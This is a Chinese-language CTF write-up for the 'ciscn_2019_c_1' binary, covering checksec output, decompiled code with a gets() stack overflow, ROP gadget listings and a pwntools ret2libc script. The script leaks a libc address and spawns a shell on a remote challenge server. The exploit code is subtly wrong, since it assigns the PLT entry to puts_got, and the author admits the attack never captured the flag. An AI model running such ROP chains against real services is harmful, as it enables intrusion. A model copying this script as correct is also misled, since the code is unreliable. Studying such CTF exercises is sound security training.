分析

  1. checksec
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➜  pwn checksec --file=ciscn_2019_c_1
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   85) Symbols	  No	0		1		ciscn_2019_c_1
➜  pwn file ciscn_2019_c_1 
ciscn_2019_c_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06ddf49af2b8c7ed708d3cfd8aec8757bca82544, not stripped
  1. ida
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int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

跟进encrypt函数

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int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

可以发现:

  1. gets(s)存在溢出
  2. v0 >= strlen(s) 条件判断可以绕过，用**\0**绕过
  3. s大小：0x50

ROP利用

因为是64位程序，所以需要通过寄存器传参

  1. 寻找pop_rdi 地址和ret地址

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➜  pwn ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'    
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
  • 0x0000000000400c83 : pop rdi ; ret 用于函数传参
  • 0x00000000004006b9 : ret：用于函数调用
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pwndbg> info address main
Symbol "main" is at 0x400b28 in a file compiled without debugging.
  • 0x400b28 : main 用于二次执行
  • 具体原理如下

puts_got作为参数存放到rdi中，puts_plt调用puts函数，打印puts_got值，然后返回main

  1. 利用代码
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from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn',26638)
elf = ELF('./ciscn_2019_c_1')
pop_rdi = 0x400c83
ret = 0x4006b9
main = 0x400B28
puts_plt = elf.plt['puts']
puts_got = elf.plt['puts']
r.sendlineafter('Input your choice!\n','1')
buf = b'\0' + b'a'*(0x50+8-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendlineafter('Input your Plaintext to be encrypted\n',buf)
r.recvline()
r.recvline()
puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
r.sendlineafter('Input your choice!\n','1')
buf = b'\0' + b'a' * (0x50+8-1) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
r.sendlineafter('Input your Plaintext to be encrypted\n',buf)
r.interactive()

思路就是这样，但是最后没有拿到falg，因为查到对应的clib，哈哈哈